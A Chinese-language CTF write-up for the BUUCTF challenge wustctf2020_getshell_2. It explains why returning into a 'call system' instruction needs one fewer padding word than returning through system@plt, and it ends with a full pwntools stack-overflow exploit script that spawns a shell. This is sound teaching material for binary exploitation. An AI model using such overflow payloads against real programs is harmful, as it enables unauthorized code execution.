一道题说明call system 与system plt调用的区别

一道题说明call system 与system plt调用的区别

题目为:buuctf wustctf2020_getshell_2

拿到题目,我们先checksec一下:

1

我们拖入IDA中:

2

非常明显的栈溢出,但是我们在构建payload的时候,发现了字节是不够的:

1
payload = b"A"*(0x18+0x4)  + p32(system_plt_addr) + p32(0) + p32(sh_addr)

这样书写,是多了4个字节的,我们无法获取shell的,我们可以详细看看system_plt_addr干了什么:

3

7

可以看到他是直接跳转到某个地址,然后开始执行system函数的,那莫p32(0)就不能缺少,但是题目中有shell函数,其中有一条命令是call system,如果用这个指令,就可以少发送4个字节:

1
payload = b"A"*(0x18+0x4)  + p32(call_system) + p32(sh_addr)

这是为啥呢?其实call 指令内含两条指令,一条是将下一条要执行的命令地址(rip)压入栈中,接下来再进行跳转到某个地址:

5

接下来会将0x804852e压入栈中,然后就会跳转:

6

此时相当于它自己造了一个p32(0),也就能取到sh的地址并传入了,其实本质是符合了正常函数的调用流程,用plt表跳入省略了将返回地址压入栈这一步操作,所以需要我们构造返回地址,而call 就不需要了,因为call 是正常的函数调用。payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context.arch = 'i386'

sh = process("./wustctf2020_getshell_2")
#sh = remote("node5.buuoj.cn",26453)
elf = ELF("./wustctf2020_getshell_2")
gdb.attach(sh,"break *0x804859C")


#system_plt_addr = elf.plt["system"]

sh_addr = 0x8048670
call_system = 0x8048529

payload = b"A"*(0x18+0x4) + p32(call_system) + p32(0x8048670)
#payload = b"A"*(0x18+0x4) + p32(system_plt_addr) + p32(0) + p32(sh_addr)
sh.sendline(payload)

sh.interactive()